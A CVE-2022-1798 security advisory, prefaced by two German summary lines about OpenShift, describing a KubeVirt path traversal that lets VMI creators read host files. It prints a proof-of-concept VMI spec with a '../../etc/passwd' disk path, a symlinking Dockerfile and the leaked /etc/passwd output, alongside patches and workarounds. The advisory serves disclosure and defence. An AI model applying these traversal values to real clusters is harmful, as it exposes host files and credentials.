CVE-2022-1798

Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Red Hat OpenShift ausnutzen, um Informationen offenzulegen und Sicherheitsmaßnahmen zu umgehen.

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat OpenShift ausnutzen, um beliebigen Programmcode auszuführen, Dateien zu manipulieren, einen Denial of Service Zustand herbeizuführen oder Sicherheitsvorkehrungen zu umgehen.

## Duplicate Advisory This advisory is a duplicate of [GHSA-qv98-3369-g364](https://github.com/advisories/GHSA-qv98-3369-g364). This link is maintained to preserve external references. ## Original Description **Summary** As part of a Kubevirt audit performed by NCC group, a finding dealing with systemic lack of path sanitization which leads to a path traversal was identified. Google tested the exploitability of the paths in the audit report and identified that when combined with another vulnerability one of the paths leads to an arbitrary file read on the host from the VM. The read operations are limited to files which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/<> is not accessible. **Severity** Moderate - The vulnerability is proven to exist in an open source version of KubeVirt by NCC Group while being combined with Systemic Lack of Path Sanitization, which leads to Path traversal. **Proof of Concept** The initial VMI specifications can be written as such to reproduce the issue: ``` apiVersion: kubevirt.io/v1 kind: VirtualMachineInstance metadata: name: vmi-fedora spec: domain: devices: disks: - disk: bus: virtio name: containerdisk - disk: bus: virtio name: cloudinitdisk - disk: bus: virtio name: containerdisk1 rng: {} resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0 name: containerdisk - containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0 path: test3/../../../../../../../../etc/passwd name: containerdisk1 - cloudInitNoCloud: userData: | #!/bin/sh echo 'just something to make cirros happy' name: cloudinitdisk ``` The VMI can then be started through kubectl apply -f vm-test-ncc.yaml. The requested file is accessible once the VM is up and can be accessed under /dev/vdc. Depending on the environment, path may contain more or less /.., something that can easily be tested by checking the events until the VMI can start without failure. Restrictions SELinux may mitigate this vulnerability. When using a node with selinux, selinux denies the access and the VM start was aborted: ``` 19s Warning SyncFailed virtualmachineinstance/vmi-fedora server error. command SyncVMI failed: "preparing ephemeral container disk images failed: stat /var/run/kubevirt/container-disks/disk_0.img: permission denied" type=AVC msg=audit(1651828898.296:1266): avc: denied { setattr } for pid=44402 comm="rpc-worker" name="passwd" dev="vda1" ino=691477 scontext=system_u:system_r:virt_launcher.process:s0:c255,c849 tcontext=system_u:object_r:passwd_file_t:s0 tclass=file permissive=1 ``` After making selinux permissive the VM can boot and access /etc/passwd from the node within the guest: ``` $ sudo cat /dev/vdc root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin [...] ``` **Further Analysis** In order to mitigate this vulnerability, Sanitize imagePath in pkg/container-disk/container-disk.go following ISE best practices described and Add checks in pkg/virt-api/webhooks/validating-webhook/admitters/vmi-create-admitter.go **Timeline** Date reported: 05/10/2022 Date fixed: N/A Date disclosed: 08/08/2022

### Impact Users with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors: 1. Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: `spec.domain.firmware.kernelBoot.container.kernelPath`, `spec.domain.firmware.kernelBoot.container.initrdPath` as well as `spec.volumes[*].containerDisk.path`. Example: ```yaml apiVersion: [kubevirt.io/v1](http://kubevirt.io/v1) kind: VirtualMachineInstance metadata: name: vmi-fedora spec: domain: devices: disks: - disk: bus: virtio name: containerdisk - disk: bus: virtio name: cloudinitdisk - disk: bus: virtio name: containerdisk1 rng: {} resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - containerDisk: image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0) name: containerdisk - containerDisk: image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0) path: test3/../../../../../../../../etc/passwd name: containerdisk1 - cloudInitNoCloud: userData: | #!/bin/sh echo 'just something to make cirros happy' name: cloudinitdisk ``` 2. Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect: ```Dockerfile FROM <anybase> RUN mkdir -p /etc/ && touch /etc/passwd RUN mkdir -p /disks/ && ln -s /etc/passwd /disks/disk.img ``` 3. KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads. In all three cases it is then possible to at lest read any host file: ``` $ sudo cat /dev/vdc root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin [...] ``` ### Patches KubeVirt 0.55.1 provides patches to fix the vulnerability. ### Workarounds * Ensure that the `HotplugVolumes` feature-gate is disabled * ContainerDisk support can't be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that `spec.domain.firmware.kernelBoot` is not used on VirtualMachineInstances.| * Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work). ### References Disclosure notice form the discovering party: https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm ### For more information For interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix: * https://github.com/kubevirt/kubevirt/pull/8198 * https://github.com/kubevirt/kubevirt/pull/8268 ### Credits Oliver Brooks and James Klopchic of NCC Group Diane Dubois and Roman Mohr of Google